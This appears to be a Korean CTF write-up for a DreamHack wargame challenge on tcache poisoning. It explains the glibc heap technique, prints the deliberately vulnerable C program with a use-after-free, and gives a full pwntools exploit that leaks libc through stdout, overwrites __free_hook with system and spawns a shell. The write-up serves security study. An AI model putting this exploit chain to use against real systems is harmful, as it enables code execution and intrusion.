CIDY
[System_Hacking] stage12_문제풀이(Tcache Poisoning) 본문
이전 글에서 double free를 통해 duplication list를 형성할 수 있다고 했었다. 그런데 만약 청크를 중복으로 연결해두고, 한 번 재할당하면 어떻게 될까? -> 그 청크는 해제된 청크인 동시에 할당된 청크이다. -> 임의 주소에 청크를 할당하거나, 그 청크를 이용해 임의 주소 데이터를 읽기 및 조작할 수 있다. 이를 Tcache Poisoning이라고 한다.
해제된 청크와 할당된 청크 구조의 가장 큰 차이점은 청크 헤더이다. 청크 구조에 대해서는 아래 글에서 설명했었다. ↓
https://orcinus-orca.tistory.com/55
그리고 문제점 역시 청크 헤더에서 발생한다. 할당된 청크는 연결될 필요가 없으니 fd와 bk가 없지만, 해제된 청크들은 fd, bk로 연결되어야 하고, 이는 할당된 청크 데이터 영역의 16바이트 공간과 중복된다.
-> 중첩된 상태의 청크에 임의의 값을 써 fd, bk를 조작할 수 있다. -> free list는 fd와 .bk로 연결되므로, ptmalloc2의 free list에 임의 주소를 추가할 수 있는 것이다. -> ptmalloc2는 동적할당 요청에 대해 free list의 청크를 먼저 반환하므로, 이를 이용해 임의 주소에 청크를 할당할 수 있다.
// 64-bit, nx, full relro
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
일단 초기화를 하나도 안 하기 때문에 굳이 이중으로 해제해주지 않더라도 충분히 릭을 할 수 있다.
일단 stdout을 릭해온다고 가정하고 시작하자.
1번에서 할당 -> 2번에서 해제 -> 4번에서 edit으로 stdout주소 쓰기 -> 그럼 chunk가 stdout을 가리키니 -> 한 번 더 할당해주면 처음 할당했던 애가 다시 나오고 -> 한 번 더 할당해주면 (물론 사이즈는 같게 해 줘야 함) -> stdout주소로 할당될테니 -> 그곳에는 stdout이 가리키는 _IO_2_1_stdout_ (립시 영역)주소가 있으므로 그걸 릭해오면 된다.
fd값 잘 조작됨.
from pwn import *
p = remote("host3.dreamhack.games", 9265)
#p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("./libc-2.27.so")
def alloc(size, data):
p.sendlineafter(b"Edit\n", b"1")
p.sendlineafter(b":", str(size))
p.sendafter(b":", data)
def free():
p.sendlineafter(b"Edit\n", b"2")
def rprint():
p.sendlineafter(b"Edit\n", b"3")
def edit(data):
p.sendlineafter(b"Edit\n", b"4")
p.sendafter(b":", data)
alloc(0x30, b"A")
free()
stdout = e.sym['stdout']
edit(p64(stdout))
alloc(0x30, b"B")
alloc(0x30, b"\x60")
rprint()
p.recvuntil(b"Content: ")
stdout = u64(p.recvn(6).ljust(8, b"\x00"))
print(hex(stdout))
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
print(hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
alloc(0x40, b"A")
free()
edit(p64(free_hook))
alloc(0x40, b"A")
alloc(0x40, p64(system))
alloc(0x50, b"/bin/sh\x00")
free()
#pause()
p.interactive()
로컬에서는 버전이 높아 tc_idx때문에 stdout에서 청크 할당해오는게 안 돼서 (아예 새롭게 할당한다고 함) 쉘을 못 땄는데 remote하니까 된다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[System_Hacking] stage12_문제풀이(tcache_dup2) (0) | 2022.07.10 |
---|---|
[System_Hacking] stage12_문제풀이(tcache_dup) (0) | 2022.07.10 |
[System_Hacking] stage12_Double Free Bug (0) | 2022.07.08 |
[System_Hacking] stage12_ptmalloc2 (0) | 2022.07.08 |
[System_Hacking] stage11_Use After Free(+문제풀이: uaf_overwrite) (0) | 2022.07.07 |